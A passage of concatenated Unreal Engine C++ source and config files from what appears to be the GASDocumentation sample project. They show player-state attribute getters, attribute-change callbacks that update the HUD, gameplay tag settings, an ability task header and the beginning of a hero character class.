float GetMaxHealth() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetHealthRegenRate() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetMana() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetMaxMana() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetManaRegenRate() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetStamina() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetMaxStamina() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetStaminaRegenRate() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetArmor() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetMoveSpeed() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
int32 GetCharacterLevel() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
int32 GetXP() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
int32 GetXPBounty() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
int32 GetGold() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
int32 GetGoldBounty() const;
protected:
UPROPERTY()
class UGDAbilitySystemComponent* AbilitySystemComponent;
UPROPERTY()
class UGDAttributeSetBase* AttributeSetBase;
FGameplayTag DeadTag;
FDelegateHandle HealthChangedDelegateHandle;
FDelegateHandle MaxHealthChangedDelegateHandle;
FDelegateHandle HealthRegenRateChangedDelegateHandle;
FDelegateHandle ManaChangedDelegateHandle;
FDelegateHandle MaxManaChangedDelegateHandle;
FDelegateHandle ManaRegenRateChangedDelegateHandle;
FDelegateHandle StaminaChangedDelegateHandle;
FDelegateHandle MaxStaminaChangedDelegateHandle;
FDelegateHandle StaminaRegenRateChangedDelegateHandle;
FDelegateHandle XPChangedDelegateHandle;
FDelegateHandle GoldChangedDelegateHandle;
FDelegateHandle CharacterLevelChangedDelegateHandle;
// Called when the game starts or when spawned
virtual void BeginPlay() override;
// Attribute changed callbacks
virtual void HealthChanged(const FOnAttributeChangeData& Data);
virtual void MaxHealthChanged(const FOnAttributeChangeData& Data);
virtual void HealthRegenRateChanged(const FOnAttributeChangeData& Data);
virtual void ManaChanged(const FOnAttributeChangeData& Data);
virtual void MaxManaChanged(const FOnAttributeChangeData& Data);
virtual void ManaRegenRateChanged(const FOnAttributeChangeData& Data);
virtual void StaminaChanged(const FOnAttributeChangeData& Data);
virtual void MaxStaminaChanged(const FOnAttributeChangeData& Data);
virtual void StaminaRegenRateChanged(const FOnAttributeChangeData& Data);
virtual void XPChanged(const FOnAttributeChangeData& Data);
virtual void GoldChanged(const FOnAttributeChangeData& Data);
virtual void CharacterLevelChanged(const FOnAttributeChangeData& Data);
// Tag change callbacks
virtual void StunTagChanged(const FGameplayTag CallbackTag, int32 NewCount);
};
<file_sep>/Config/DefaultGameplayTags.ini
[/Script/GameplayTags.GameplayTagsSettings]
ImportTagsFromConfig=True
WarnOnInvalidTags=True
FastReplication=True
InvalidTagCharacters="\"\',"
+CommonlyReplicatedTags=State.AimDownSights
+CommonlyReplicatedTags=State.AimDownSights.Removal
+CommonlyReplicatedTags=State.Sprinting
NumBitsForContainerSize=6
NetIndexFirstBitSegment=16
+GameplayTagList=(Tag="Ability.AimDownSights",DevComment="")
+GameplayTagList=(Tag="Ability.Jump",DevComment="")
+GameplayTagList=(Tag="Ability.NotCanceledByStun",DevComment="")
+GameplayTagList=(Tag="Ability.Skill.Ability1",DevComment="")
+GameplayTagList=(Tag="Ability.Skill.Ability2",DevComment="")
+GameplayTagList=(Tag="Ability.Skill.Ability3",DevComment="")
+GameplayTagList=(Tag="Ability.Skill.Ability4",DevComment="")
+GameplayTagList=(Tag="Ability.Skill.Ability5",DevComment="")
+GameplayTagList=(Tag="Ability.Sprint",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.BlockedByTags",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.CantAffordCost",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.IsDead",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.MissingTags",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.Networking",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.OnCooldown",DevComment="")
+GameplayTagList=(Tag="Cooldown.Skill.Ability5",DevComment="")
+GameplayTagList=(Tag="Data.Damage",DevComment="")
+GameplayTagList=(Tag="Effect.Hero.PassiveArmor",DevComment="")
+GameplayTagList=(Tag="Effect.HitReact.Back",DevComment="")
+GameplayTagList=(Tag="Effect.HitReact.Front",DevComment="")
+GameplayTagList=(Tag="Effect.HitReact.Left",DevComment="")
+GameplayTagList=(Tag="Effect.HitReact.Right",DevComment="")
+GameplayTagList=(Tag="Effect.RemoveOnDeath",DevComment="")
+GameplayTagList=(Tag="Event.Montage.EndAbility",DevComment="")
+GameplayTagList=(Tag="Event.Montage.SpawnProjectile",DevComment="")
+GameplayTagList=(Tag="GameplayCue.Hero.FireGun.Impact",DevComment="")
+GameplayTagList=(Tag="GameplayCue.Hero.Sprint",DevComment="")
+GameplayTagList=(Tag="GameplayCue.Shared.Stun",DevComment="")
+GameplayTagList=(Tag="State.AimDownSights.Removal",DevComment="")
+GameplayTagList=(Tag="State.Dead",DevComment="")
+GameplayTagList=(Tag="State.Debuff.Stun",DevComment="")
+GameplayTagList=(Tag="State.Sprinting",DevComment="")
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/AbilityTasks/GDAT_PlayMontageAndWaitForEvent.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Abilities/Tasks/AbilityTask.h"
#include "GDAT_PlayMontageAndWaitForEvent.generated.h"
class UGDAbilitySystemComponent;
/** Delegate type used, EventTag and Payload may be empty if it came from the montage callbacks */
DECLARE_DYNAMIC_MULTICAST_DELEGATE_TwoParams(FGDPlayMontageAndWaitForEventDelegate, FGameplayTag, EventTag, FGameplayEventData, EventData);
/**
* This task combines PlayMontageAndWait and WaitForEvent into one task, so you can wait for multiple types of activations such as from a melee combo
* Much of this code is copied from one of those two ability tasks
* This is a good task to look at as an example when creating game-specific tasks
* It is expected that each game will have a set of game-specific tasks to do what they want
*/
UCLASS()
class GASDOCUMENTATION_API UGDAT_PlayMontageAndWaitForEvent : public UAbilityTask
{
GENERATED_BODY()
public:
// Constructor and overrides
UGDAT_PlayMontageAndWaitForEvent(const FObjectInitializer& ObjectInitializer);
/**
* The Blueprint node for this task, PlayMontageAndWaitForEvent, has some black magic from the plugin that automagically calls Activate()
* inside of K2Node_LatentAbilityCall as stated in the AbilityTask.h. Ability logic written in C++ probably needs to call Activate() itself manually.
*/
virtual void Activate() override;
virtual void ExternalCancel() override;
virtual FString GetDebugString() const override;
virtual void OnDestroy(bool AbilityEnded) override;
/** The montage completely finished playing */
UPROPERTY(BlueprintAssignable)
FGDPlayMontageAndWaitForEventDelegate OnCompleted;
/** The montage started blending out */
UPROPERTY(BlueprintAssignable)
FGDPlayMontageAndWaitForEventDelegate OnBlendOut;
/** The montage was interrupted */
UPROPERTY(BlueprintAssignable)
FGDPlayMontageAndWaitForEventDelegate OnInterrupted;
/** The ability task was explicitly cancelled by another ability */
UPROPERTY(BlueprintAssignable)
FGDPlayMontageAndWaitForEventDelegate OnCancelled;
/** One of the triggering gameplay events happened */
UPROPERTY(BlueprintAssignable)
FGDPlayMontageAndWaitForEventDelegate EventReceived;
/**
* Play a montage and wait for it end. If a gameplay event happens that matches EventTags (or EventTags is empty), the EventReceived delegate will fire with a tag and event data.
* If StopWhenAbilityEnds is true, this montage will be aborted if the ability ends normally. It is always stopped when the ability is explicitly cancelled.
* On normal execution, OnBlendOut is called when the montage is blending out, and OnCompleted when it is completely done playing
* OnInterrupted is called if another montage overwrites this, and OnCancelled is called if the ability or task is cancelled
*
* @param TaskInstanceName Set to override the name of this task, for later querying
* @param MontageToPlay The montage to play on the character
* @param EventTags Any gameplay events matching this tag will activate the EventReceived callback. If empty, all events will trigger callback
* @param Rate Change to play the montage faster or slower
* @param bStopWhenAbilityEnds If true, this montage will be aborted if the ability ends normally. It is always stopped when the ability is explicitly cancelled
* @param AnimRootMotionTranslationScale Change to modify size of root motion or set to 0 to block it entirely
*/
UFUNCTION(BlueprintCallable, Category = "Ability|Tasks", meta = (HidePin = "OwningAbility", DefaultToSelf = "OwningAbility", BlueprintInternalUseOnly = "TRUE"))
static UGDAT_PlayMontageAndWaitForEvent* PlayMontageAndWaitForEvent(
UGameplayAbility* OwningAbility,
FName TaskInstanceName,
UAnimMontage* MontageToPlay,
FGameplayTagContainer EventTags,
float Rate = 1.f,
FName StartSection = NAME_None,
bool bStopWhenAbilityEnds = true,
float AnimRootMotionTranslationScale = 1.f);
private:
/** Montage that is playing */
UPROPERTY()
UAnimMontage* MontageToPlay;
/** List of tags to match against gameplay events */
UPROPERTY()
FGameplayTagContainer EventTags;
/** Playback rate */
UPROPERTY()
float Rate;
/** Section to start montage from */
UPROPERTY()
FName StartSection;
/** Modifies how root motion movement to apply */
UPROPERTY()
float AnimRootMotionTranslationScale;
/** Rather montage should be aborted if ability ends */
UPROPERTY()
bool bStopWhenAbilityEnds;
/** Checks if the ability is playing a montage and stops that montage, returns true if a montage was stopped, false if not. */
bool StopPlayingMontage();
void OnMontageBlendingOut(UAnimMontage* Montage, bool bInterrupted);
void OnAbilityCancelled();
void OnMontageEnded(UAnimMontage* Montage, bool bInterrupted);
void OnGameplayEvent(FGameplayTag EventTag, const FGameplayEventData* Payload);
FOnMontageBlendingOutStarted BlendingOutDelegate;
FOnMontageEnded MontageEndedDelegate;
FDelegateHandle CancelledHandle;
FDelegateHandle EventHandle;
};
<file_sep>/Source/GASDocumentation/GASDocumentation.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "UObject/ObjectMacros.h"
#define ACTOR_ROLE_FSTRING *(FindObject<UEnum>(nullptr, TEXT("/Script/Engine.ENetRole"), true)->GetNameStringByValue(GetLocalRole()))
#define GET_ACTOR_ROLE_FSTRING(Actor) *(FindObject<UEnum>(nullptr, TEXT("/Script/Engine.ENetRole"), true)->GetNameStringByValue(Actor->GetLocalRole()))
UENUM(BlueprintType)
enum class EGDHitReactDirection : uint8
{
// 0
None UMETA(DisplayName = "None"),
// 1
Left UMETA(DisplayName = "Left"),
// 2
Front UMETA(DisplayName = "Front"),
// 3
Right UMETA(DisplayName = "Right"),
// 4
Back UMETA(DisplayName = "Back")
};
UENUM(BlueprintType)
enum class EGDAbilityInputID : uint8
{
// 0 None
None UMETA(DisplayName = "None"),
// 1 Confirm
Confirm UMETA(DisplayName = "Confirm"),
// 2 Cancel
Cancel UMETA(DisplayName = "Cancel"),
// 3 LMB
Ability1 UMETA(DisplayName = "Ability1"),
// 4 RMB
Ability2 UMETA(DisplayName = "Ability2"),
// 5 Q
Ability3 UMETA(DisplayName = "Ability3"),
// 6 E
Ability4 UMETA(DisplayName = "Ability4"),
// 7 R
Ability5 UMETA(DisplayName = "Ability5"),
// 8 Sprint
Sprint UMETA(DisplayName = "Sprint"),
// 9 Jump
Jump UMETA(DisplayName = "Jump")
};<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/AsyncTaskAttributeChanged.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Kismet/BlueprintAsyncActionBase.h"
#include "AbilitySystemComponent.h"
#include "AsyncTaskAttributeChanged.generated.h"
DECLARE_DYNAMIC_MULTICAST_DELEGATE_ThreeParams(FOnAttributeChanged, FGameplayAttribute, Attribute, float, NewValue, float, OldValue);
/**
* Blueprint node to automatically register a listener for all attribute changes in an AbilitySystemComponent.
* Useful to use in UI.
*/
UCLASS(BlueprintType, meta=(ExposedAsyncProxy = AsyncTask))
class GASDOCUMENTATION_API UAsyncTaskAttributeChanged : public UBlueprintAsyncActionBase
{
GENERATED_BODY()
public:
UPROPERTY(BlueprintAssignable)
FOnAttributeChanged OnAttributeChanged;
// Listens for an attribute changing.
UFUNCTION(BlueprintCallable, meta = (BlueprintInternalUseOnly = "true"))
static UAsyncTaskAttributeChanged* ListenForAttributeChange(UAbilitySystemComponent* AbilitySystemComponent, FGameplayAttribute Attribute);
// Listens for an attribute changing.
// Version that takes in an array of Attributes. Check the Attribute output for which Attribute changed.
UFUNCTION(BlueprintCallable, meta = (BlueprintInternalUseOnly = "true"))
static UAsyncTaskAttributeChanged* ListenForAttributesChange(UAbilitySystemComponent* AbilitySystemComponent, TArray<FGameplayAttribute> Attributes);
// You must call this function manually when you want the AsyncTask to end.
// For UMG Widgets, you would call it in the Widget's Destruct event.
UFUNCTION(BlueprintCallable)
void EndTask();
protected:
UPROPERTY()
UAbilitySystemComponent* ASC;
FGameplayAttribute AttributeToListenFor;
TArray<FGameplayAttribute> AttributesToListenFor;
void AttributeChanged(const FOnAttributeChangeData& Data);
};
<file_sep>/Source/GASDocumentation.Target.cs
// Copyright 2020 <NAME>.
using UnrealBuildTool;
using System.Collections.Generic;
public class GASDocumentationTarget : TargetRules
{
public GASDocumentationTarget(TargetInfo Target) : base(Target)
{
Type = TargetType.Game;
DefaultBuildSettings = BuildSettingsVersion.V2;
IncludeOrderVersion = EngineIncludeOrderVersion.Latest;
ExtraModuleNames.Add("GASDocumentation");
}
}
<file_sep>/Source/GASDocumentation/Private/Player/GDPlayerState.cpp
// Copyright 2020 <NAME>.
#include "Player/GDPlayerState.h"
#include "Characters/Abilities/AttributeSets/GDAttributeSetBase.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
#include "Characters/Heroes/GDHeroCharacter.h"
#include "Player/GDPlayerController.h"
#include "UI/GDFloatingStatusBarWidget.h"
#include "UI/GDHUDWidget.h"
AGDPlayerState::AGDPlayerState()
{
// Create ability system component, and set it to be explicitly replicated
AbilitySystemComponent = CreateDefaultSubobject<UGDAbilitySystemComponent>(TEXT("AbilitySystemComponent"));
AbilitySystemComponent->SetIsReplicated(true);
// Mixed mode means we only are replicated the GEs to ourself, not the GEs to simulated proxies. If another GDPlayerState (Hero) receives a GE,
// we won't be told about it by the Server. Attributes, GameplayTags, and GameplayCues will still replicate to us.
AbilitySystemComponent->SetReplicationMode(EGameplayEffectReplicationMode::Mixed);
// Create the attribute set, this replicates by default
// Adding it as a subobject of the owning actor of an AbilitySystemComponent
// automatically registers the AttributeSet with the AbilitySystemComponent
AttributeSetBase = CreateDefaultSubobject<UGDAttributeSetBase>(TEXT("AttributeSetBase"));
// Set PlayerState's NetUpdateFrequency to the same as the Character.
// Default is very low for PlayerStates and introduces perceived lag in the ability system.
// 100 is probably way too high for a shipping game, you can adjust to fit your needs.
NetUpdateFrequency = 100.0f;
// Cache tags
DeadTag = FGameplayTag::RequestGameplayTag(FName("State.Dead"));
}
UAbilitySystemComponent * AGDPlayerState::GetAbilitySystemComponent() const
{
return AbilitySystemComponent;
}
UGDAttributeSetBase * AGDPlayerState::GetAttributeSetBase() const
{
return AttributeSetBase;
}
bool AGDPlayerState::IsAlive() const
{
return GetHealth() > 0.0f;
}
void AGDPlayerState::ShowAbilityConfirmCancelText(bool ShowText)
{
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->ShowAbilityConfirmCancelText(ShowText);
}
}
}
float AGDPlayerState::GetHealth() const
{
return AttributeSetBase->GetHealth();
}
float AGDPlayerState::GetMaxHealth() const
{
return AttributeSetBase->GetMaxHealth();
}
float AGDPlayerState::GetHealthRegenRate() const
{
return AttributeSetBase->GetHealthRegenRate();
}
float AGDPlayerState::GetMana() const
{
return AttributeSetBase->GetMana();
}
float AGDPlayerState::GetMaxMana() const
{
return AttributeSetBase->GetMaxMana();
}
float AGDPlayerState::GetManaRegenRate() const
{
return AttributeSetBase->GetManaRegenRate();
}
float AGDPlayerState::GetStamina() const
{
return AttributeSetBase->GetStamina();
}
float AGDPlayerState::GetMaxStamina() const
{
return AttributeSetBase->GetMaxStamina();
}
float AGDPlayerState::GetStaminaRegenRate() const
{
return AttributeSetBase->GetStaminaRegenRate();
}
float AGDPlayerState::GetArmor() const
{
return AttributeSetBase->GetArmor();
}
float AGDPlayerState::GetMoveSpeed() const
{
return AttributeSetBase->GetMoveSpeed();
}
int32 AGDPlayerState::GetCharacterLevel() const
{
return AttributeSetBase->GetCharacterLevel();
}
int32 AGDPlayerState::GetXP() const
{
return AttributeSetBase->GetXP();
}
int32 AGDPlayerState::GetXPBounty() const
{
return AttributeSetBase->GetXPBounty();
}
int32 AGDPlayerState::GetGold() const
{
return AttributeSetBase->GetGold();
}
int32 AGDPlayerState::GetGoldBounty() const
{
return AttributeSetBase->GetGoldBounty();
}
void AGDPlayerState::BeginPlay()
{
Super::BeginPlay();
if (AbilitySystemComponent)
{
// Attribute change callbacks
HealthChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetHealthAttribute()).AddUObject(this, &AGDPlayerState::HealthChanged);
MaxHealthChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetMaxHealthAttribute()).AddUObject(this, &AGDPlayerState::MaxHealthChanged);
HealthRegenRateChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetHealthRegenRateAttribute()).AddUObject(this, &AGDPlayerState::HealthRegenRateChanged);
ManaChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetManaAttribute()).AddUObject(this, &AGDPlayerState::ManaChanged);
MaxManaChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetMaxManaAttribute()).AddUObject(this, &AGDPlayerState::MaxManaChanged);
ManaRegenRateChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetManaRegenRateAttribute()).AddUObject(this, &AGDPlayerState::ManaRegenRateChanged);
StaminaChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetStaminaAttribute()).AddUObject(this, &AGDPlayerState::StaminaChanged);
MaxStaminaChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetMaxStaminaAttribute()).AddUObject(this, &AGDPlayerState::MaxStaminaChanged);
StaminaRegenRateChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetStaminaRegenRateAttribute()).AddUObject(this, &AGDPlayerState::StaminaRegenRateChanged);
XPChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetXPAttribute()).AddUObject(this, &AGDPlayerState::XPChanged);
GoldChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetGoldAttribute()).AddUObject(this, &AGDPlayerState::GoldChanged);
CharacterLevelChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetCharacterLevelAttribute()).AddUObject(this, &AGDPlayerState::CharacterLevelChanged);
// Tag change callbacks
AbilitySystemComponent->RegisterGameplayTagEvent(FGameplayTag::RequestGameplayTag(FName("State.Debuff.Stun")), EGameplayTagEventType::NewOrRemoved).AddUObject(this, &AGDPlayerState::StunTagChanged);
}
}
void AGDPlayerState::HealthChanged(const FOnAttributeChangeData & Data)
{
float Health = Data.NewValue;
// Update floating status bar
AGDHeroCharacter* Hero = Cast<AGDHeroCharacter>(GetPawn());
if (Hero)
{
UGDFloatingStatusBarWidget* HeroFloatingStatusBar = Hero->GetFloatingStatusBar();
if (HeroFloatingStatusBar)
{
HeroFloatingStatusBar->SetHealthPercentage(Health / GetMaxHealth());
}
}
// Update the HUD
// Handled in the UI itself using the AsyncTaskAttributeChanged node as an example how to do it in Blueprint
// If the player died, handle death
if (!IsAlive() && !AbilitySystemComponent->HasMatchingGameplayTag(DeadTag))
{
if (Hero)
{
Hero->Die();
}
}
}
void AGDPlayerState::MaxHealthChanged(const FOnAttributeChangeData & Data)
{
float MaxHealth = Data.NewValue;
// Update floating status bar
AGDHeroCharacter* Hero = Cast<AGDHeroCharacter>(GetPawn());
if (Hero)
{
UGDFloatingStatusBarWidget* HeroFloatingStatusBar = Hero->GetFloatingStatusBar();
if (HeroFloatingStatusBar)
{
HeroFloatingStatusBar->SetHealthPercentage(GetHealth() / MaxHealth);
}
}
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetMaxHealth(MaxHealth);
}
}
}
void AGDPlayerState::HealthRegenRateChanged(const FOnAttributeChangeData & Data)
{
float HealthRegenRate = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetHealthRegenRate(HealthRegenRate);
}
}
}
void AGDPlayerState::ManaChanged(const FOnAttributeChangeData & Data)
{
float Mana = Data.NewValue;
// Update floating status bar
AGDHeroCharacter* Hero = Cast<AGDHeroCharacter>(GetPawn());
if (Hero)
{
UGDFloatingStatusBarWidget* HeroFloatingStatusBar = Hero->GetFloatingStatusBar();
if (HeroFloatingStatusBar)
{
HeroFloatingStatusBar->SetManaPercentage(Mana / GetMaxMana());
}
}
// Update the HUD
// Handled in the UI itself using the AsyncTaskAttributeChanged node as an example how to do it in Blueprint
}
void AGDPlayerState::MaxManaChanged(const FOnAttributeChangeData & Data)
{
float MaxMana = Data.NewValue;
// Update floating status bar
AGDHeroCharacter* Hero = Cast<AGDHeroCharacter>(GetPawn());
if (Hero)
{
UGDFloatingStatusBarWidget* HeroFloatingStatusBar = Hero->GetFloatingStatusBar();
if (HeroFloatingStatusBar)
{
HeroFloatingStatusBar->SetManaPercentage(GetMana() / MaxMana);
}
}
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetMaxMana(MaxMana);
}
}
}
void AGDPlayerState::ManaRegenRateChanged(const FOnAttributeChangeData & Data)
{
float ManaRegenRate = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetManaRegenRate(ManaRegenRate);
}
}
}
void AGDPlayerState::StaminaChanged(const FOnAttributeChangeData & Data)
{
float Stamina = Data.NewValue;
// Update the HUD
// Handled in the UI itself using the AsyncTaskAttributeChanged node as an example how to do it in Blueprint
}
void AGDPlayerState::MaxStaminaChanged(const FOnAttributeChangeData & Data)
{
float MaxStamina = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetMaxStamina(MaxStamina);
}
}
}
void AGDPlayerState::StaminaRegenRateChanged(const FOnAttributeChangeData & Data)
{
float StaminaRegenRate = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetStaminaRegenRate(StaminaRegenRate);
}
}
}
void AGDPlayerState::XPChanged(const FOnAttributeChangeData & Data)
{
float XP = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetExperience(XP);
}
}
}
void AGDPlayerState::GoldChanged(const FOnAttributeChangeData & Data)
{
float Gold = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetGold(Gold);
}
}
}
void AGDPlayerState::CharacterLevelChanged(const FOnAttributeChangeData & Data)
{
float CharacterLevel = Data.NewValue;
// Update the HUD
AGDPlayerController* PC = Cast<AGDPlayerController>(GetOwner());
if (PC)
{
UGDHUDWidget* HUD = PC->GetHUD();
if (HUD)
{
HUD->SetHeroLevel(CharacterLevel);
}
}
}
void AGDPlayerState::StunTagChanged(const FGameplayTag CallbackTag, int32 NewCount)
{
if (NewCount > 0)
{
FGameplayTagContainer AbilityTagsToCancel;
AbilityTagsToCancel.AddTag(FGameplayTag::RequestGameplayTag(FName("Ability")));
FGameplayTagContainer AbilityTagsToIgnore;
AbilityTagsToIgnore.AddTag(FGameplayTag::RequestGameplayTag(FName("Ability.NotCanceledByStun")));
AbilitySystemComponent->CancelAbilities(&AbilityTagsToCancel, &AbilityTagsToIgnore);
}
}
<file_sep>/Source/GASDocumentation/Public/Characters/Minions/GDMinionCharacter.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Characters/GDCharacterBase.h"
#include "GameplayEffectTypes.h"
#include "GDMinionCharacter.generated.h"
/**
* An AI controlled minion character.
*/
UCLASS()
class GASDOCUMENTATION_API AGDMinionCharacter : public AGDCharacterBase
{
GENERATED_BODY()
public:
AGDMinionCharacter(const class FObjectInitializer& ObjectInitializer);
protected:
// Actual hard pointer to AbilitySystemComponent
UPROPERTY()
class UGDAbilitySystemComponent* HardRefAbilitySystemComponent;
// Actual hard pointer to AttributeSetBase
UPROPERTY()
class UGDAttributeSetBase* HardRefAttributeSetBase;
virtual void BeginPlay() override;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "GASDocumentation|UI")
TSubclassOf<class UGDFloatingStatusBarWidget> UIFloatingStatusBarClass;
UPROPERTY()
class UGDFloatingStatusBarWidget* UIFloatingStatusBar;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = "GASDocumentation|UI")
class UWidgetComponent* UIFloatingStatusBarComponent;
FDelegateHandle HealthChangedDelegateHandle;
// Attribute changed callbacks
virtual void HealthChanged(const FOnAttributeChangeData& Data);
// Tag change callbacks
virtual void StunTagChanged(const FGameplayTag CallbackTag, int32 NewCount);
};
<file_sep>/Source/GASDocumentation/Private/Characters/Heroes/GDHeroCharacter.cpp
// Copyright 2020 <NAME>.
#include "Characters/Heroes/GDHeroCharacter.h"
#include "AI/GDHeroAIController.h"
#include "Camera/CameraComponent.h"
#include "Characters/Abilities/AttributeSets/GDAttributeSetBase.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
#include "Components/CapsuleComponent.h"
#include "Components/DecalComponent.h"
#include "Components/WidgetComponent.h"
#include "GameFramework/SpringArmComponent.h"
#include "GASDocumentation/GASDocumentationGameMode.h"
#include "Kismet/GameplayStatics.h"
#include "Kismet/KismetMathLibrary.h"
#include "Player/GDPlayerController.h"
#include "Player/GDPlayerState.h"
#include "UI/GDFloatingStatusBarWidget.h"
#include "UObject/ConstructorHelpers.h"
AGDHeroCharacter::AGDHeroCharacter(const class FObjectInitializer& ObjectInitializer) : Super(ObjectInitializer)
{
CameraBoom = CreateDefaultSubobject<USpringArmComponent>(FName("CameraBoom"));
CameraBoom->SetupAttachment(RootComponent);
CameraBoom->bUsePawnControlRotation = true;
CameraBoom->SetRelativeLocation(FVector(0, 0, 68.492264));
FollowCamera = CreateDefaultSubobject<UCameraComponent>(FName("FollowCamera"));
FollowCamera->SetupAttachment(CameraBoom);
FollowCamera->FieldOfView = 80.0f;
GunComponent = CreateDefaultSubobject<USkeletalMeshComponent>(FName("Gun"));
GetCapsuleComponent()->SetCollisionResponseToChannel(ECollisionChannel::ECC_Camera, ECollisionResponse::ECR_Ignore);
// Makes sure that the animations play on the Server so that we can use bone and socket transforms
// to do things like spawning projectiles and other FX.
GetMesh()->VisibilityBasedAnimTickOption = EVisibilityBasedAnimTickOption::AlwaysTickPoseAndRefreshBones;
GetMesh()->SetCollisionEnabled(ECollisionEnabled::NoCollision);
GetMesh()->SetCollisionProfileName(FName("NoCollision"));
UIFloatingStatusBarComponent = CreateDefaultSubobject<UWidgetComponent>(FName("UIFloatingStatusBarComponent"));
UIFloatingStatusBarComponent->SetupAttachment(RootComponent);
UIFloatingStatusBarComponent->SetRelativeLocation(FVector(0, 0, 120));
UIFloatingStatusBarComponent->SetWidgetSpace(EWidgetSpace::Screen);
UIFloatingStatusBarComponent->SetDrawSize(FVector2D(500, 500));
UIFloatingStatusBarClass = StaticLoadClass(UObject::StaticClass(), nullptr, TEXT("/Game/GASDocumentation/UI/UI_FloatingStatusBar_Hero.UI_FloatingStatusBar_Hero_C"));
if (!UIFloatingStatusBarClass)
{
UE_LOG(LogTemp, Error, TEXT("%s() Failed to find UIFloatingStatusBarClass. If it was moved, please update the reference location in C++."), *FString(__FUNCTION__));
}
AIControllerClass = AGDHeroAIController::StaticClass();
DeadTag = FGameplayTag::RequestGameplayTag(FName("State.Dead"));
}
// Called to bind functionality to input
void AGDHeroCharacter::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
Super::SetupPlayerInputComponent(PlayerInputComponent);
PlayerInputComponent->BindAxis("MoveForward", this, &AGDHeroCharacter::MoveForward);
PlayerInputComponent->BindAxis("MoveRight", this, &AGDHeroCharacter::MoveRight);
